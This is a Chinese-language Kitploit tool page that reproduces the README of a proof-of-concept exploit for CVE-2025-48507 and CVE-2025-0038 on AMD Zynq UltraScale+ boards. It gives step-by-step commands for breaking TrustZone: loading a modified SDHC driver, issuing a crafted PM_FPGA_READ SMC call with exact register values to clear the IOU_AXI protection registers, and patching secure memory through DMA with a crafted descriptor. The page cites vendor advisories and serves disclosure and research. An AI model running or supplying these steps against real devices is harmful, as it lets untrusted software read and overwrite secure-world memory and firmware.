Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PoC_CVE-2025-48507 — Proof of Concept of CVE-2025-48507. The security flaw can be leveraged by Non-Secure software (e.g., Linux) to break Trust Zone and gain access to Secure world | Kitploit
工具/GitHubGitHub/jdbonfils/poc_cve-2025-48507
嵌入式系统安全权限提升漏洞分析漏洞利用渗透测试硬件安全红队二进制利用
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

Proof of Concept of CVE-2025-48507. The security flaw can be leveraged by Non-Secure software (e.g., Linux) to break Trust Zone and gain access to Secure world

查看仓库
2210个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

在Zynq UltraScale+ MPSoC上突破TrustZone - CVE-2025-48507和CVE-2025-0038的概念验证

非安全软件可利用CVE-2025-48507和CVE-2025-0038在Zynq UltraScale+平台上获得对安全世界的读/写访问权限,从而破坏TrustZone隔离。为此,非安全软件利用CVE-2025-0038和CVE-2025-48507清除IOU_AXI_WPRTCN和IOU_AXI_RPRTCN寄存器(0xFF240000),将SD主机控制器切换为安全主机。然后,非安全软件(例如Linux)利用SD主机控制器(从接口仍为非安全)写入或读取任意安全内存。

更多信息:

  • AMD安全公告:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • PoC的PowerPoint演示文稿: /doc/PoC_Exploit_presentation.pdf
  • PoC视频: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • 原始研究文章(第5.5节): /doc/preprint.pdf

受影响平台:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoC
  • Zynq UltraScale+ RFSoC

受影响组件:

  • 用于Cortex-A处理器的Arm Trusted Firmware (TF-A) 及PMU固件,版本直至2025.1。

本仓库的组织结构:

  • source/ : 用于在Zynq UltraScale+ MPSoC(ZC104)上重现此PoC的源码

    • 利用CVE-2025-48507和CVE-2025-0038

      • smc-tt.c: 基本内核模块,允许非安全Linux发起任意SMC调用。

      • Makefile: 用于交叉编译内核模块的Makefile(需调整路径)。

    • 利用CVE-2025-0038和CVE-2025-48507

      • sdhc.c: 修改后的SDHC驱动程序,允许使用SD主机控制器(SDHC)进行DMA攻击
      • dma_patch.sh: 一个便捷脚本,依赖修改后的SDHC驱动程序,通过SDHC的DMA能力修补任意内存区域
  • doc/ : 介绍TF-A和PMU级别安全漏洞的演示文稿和研究文章。

  • hw_debug/: 用于在APU和PMU处理器上调试TF-A的硬件调试器脚本。它们提供了调试PMU固件和TF-A中受影响函数的环境,并确认攻击成功。这些脚本需与Trace32和Lauterbach PowerDebug PRO JTAG硬件调试器配合使用。硬件调试器已连接到ZCU104的JTAG端口(J180)。

攻击复现

搭建环境:
  1. 搭建受影响的环境(如Linux、TF-A、PMU固件等)。

    • 例如,Petalinux的预构建镜像、Yocto、Petalinux工具等。
  2. 构建Linux时,通过kconfig将SDHC驱动程序设置为可加载内核模块。仅在利用时需执行此步骤。

    • MMC_SDHCI=M
  3. 编译内核模块smc-tt.c和sdhci.c。提供的Makefile可通过调整内核和编译器路径来使用。

  4. 为利用这些CVE,将smc-tt.ko添加到Linux根文件系统

  5. 为利用这些CVE,将sdhci.ko和dma_patch.sh添加到Linux根文件系统

CVE的PoC与利用:

在PoC中,系统(即fslb、uboot等)从SD卡启动。Linux的根文件系统刷写在USB上。对于DMA攻击,Linux使用SD卡上的一个空分区,该分区由修改后的SDHC驱动程序(sdhci.ko)驱动的SD主机控制器访问。

如果仅测试CVE,可跳过步骤2、3和5。

  1. U-boot命令,用于在非安全世界中启动Linux,其根文件系统位于USB分区上:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. 插入修改后的SDHC驱动程序以执行任意DMA访问:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. 尝试通过修改后的SDHC驱动程序修补安全内存。这应该会失败,因为SDHC仍为非安全:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: PAYLOAD

    • ARG2: 用于执行恶意DMA访问的恶意描述符。

      • 例如,'\x00\x00\xdc\xff\x20\x00\x23\x00' 用于在地址0xFFDC0000处修补0x20字节。\x23\x00必须保持不变
    • ARG3: 由修改后的SDHC驱动程序控制的SD主机控制器所管理的设备分区。

      • 例如,/dev/mmcblk0p3
  4. 利用CVE清除IOU_AXI_WPRTCN和IOU_AXI_RPRTCN(0xFF240000):

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: 受影响的SMC调用(PM_FPGA_READ)。

    • 0xff24000000000100: 要清除的地址(0xFF240000)(即IOU_AXI_RPRTCN/IOU_AXI_WPRTCN)和要清除的字节数(0x00000100)

    • 0x100000000: 将PL数据读回主内存(0x1)。由于未加载任何内容,这将简单地清除目标内存区域。

    • 更多关于PM_FPGA_READ参数的信息:https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

现在Linux可以利用SDHC DMA完全访问安全内存

下载工具
  • 再次尝试修补安全内存(0xFFDC0000)。由于SDHC现在为安全,这次应该成功:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3